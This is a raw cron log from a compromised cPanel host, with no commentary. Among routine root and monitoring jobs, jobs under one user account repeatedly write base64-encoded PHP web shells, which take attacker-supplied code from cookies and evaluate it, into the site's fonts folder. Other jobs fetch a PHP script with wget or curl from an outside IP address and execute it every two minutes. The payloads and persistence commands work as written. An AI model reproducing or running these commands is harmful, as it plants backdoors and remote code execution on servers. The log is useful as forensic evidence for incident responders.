Sep 21 17:22:01 ip-184-168-122-23 CROND[18257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:22:01 ip-184-168-122-23 CROND[18258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:22:01 ip-184-168-122-23 CROND[18261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:22:01 ip-184-168-122-23 CROND[18264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:23:01 ip-184-168-122-23 CROND[18474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:23:01 ip-184-168-122-23 CROND[18475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:23:01 ip-184-168-122-23 CROND[18476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:23:01 ip-184-168-122-23 CROND[18477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:24:01 ip-184-168-122-23 CROND[18578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:24:01 ip-184-168-122-23 CROND[18579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:24:01 ip-184-168-122-23 CROND[18582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:24:01 ip-184-168-122-23 CROND[18583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:24:01 ip-184-168-122-23 CROND[18585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:25:01 ip-184-168-122-23 CROND[18693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:25:01 ip-184-168-122-23 CROND[18694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:25:01 ip-184-168-122-23 CROND[18695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:25:01 ip-184-168-122-23 CROND[18696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:25:01 ip-184-168-122-23 CROND[18697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:25:01 ip-184-168-122-23 CROND[18698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:26:01 ip-184-168-122-23 CROND[19066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:26:01 ip-184-168-122-23 CROND[19069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:26:01 ip-184-168-122-23 CROND[19070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:26:01 ip-184-168-122-23 CROND[19068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:26:01 ip-184-168-122-23 CROND[19076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:27:01 ip-184-168-122-23 CROND[19204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:27:01 ip-184-168-122-23 CROND[19206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:27:01 ip-184-168-122-23 CROND[19207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:27:01 ip-184-168-122-23 CROND[19209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:28:01 ip-184-168-122-23 CROND[19306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:28:01 ip-184-168-122-23 CROND[19309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:28:01 ip-184-168-122-23 CROND[19308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:28:01 ip-184-168-122-23 CROND[19311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:28:01 ip-184-168-122-23 CROND[19310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:29:01 ip-184-168-122-23 CROND[19405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:29:01 ip-184-168-122-23 CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:29:01 ip-184-168-122-23 CROND[19409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:29:01 ip-184-168-122-23 CROND[19408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:30:01 ip-184-168-122-23 CROND[19589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:30:01 ip-184-168-122-23 CROND[19593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:30:01 ip-184-168-122-23 CROND[19599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:31:01 ip-184-168-122-23 CROND[19784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:31:01 ip-184-168-122-23 CROND[19785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:31:01 ip-184-168-122-23 CROND[19789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:31:01 ip-184-168-122-23 CROND[19791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:31:01 ip-184-168-122-23 CROND[19793]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 17:32:01 ip-184-168-122-23 CROND[19894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:32:01 ip-184-168-122-23 CROND[19897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:32:01 ip-184-168-122-23 CROND[19896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:32:01 ip-184-168-122-23 CROND[19898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:32:02 ip-184-168-122-23 CROND[19902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:33:01 ip-184-168-122-23 CROND[20027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:33:01 ip-184-168-122-23 CROND[20028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:33:01 ip-184-168-122-23 CROND[20030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:33:01 ip-184-168-122-23 CROND[20029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:34:02 ip-184-168-122-23 CROND[20113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:34:02 ip-184-168-122-23 CROND[20115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:34:02 ip-184-168-122-23 CROND[20116]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:34:02 ip-184-168-122-23 CROND[20118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
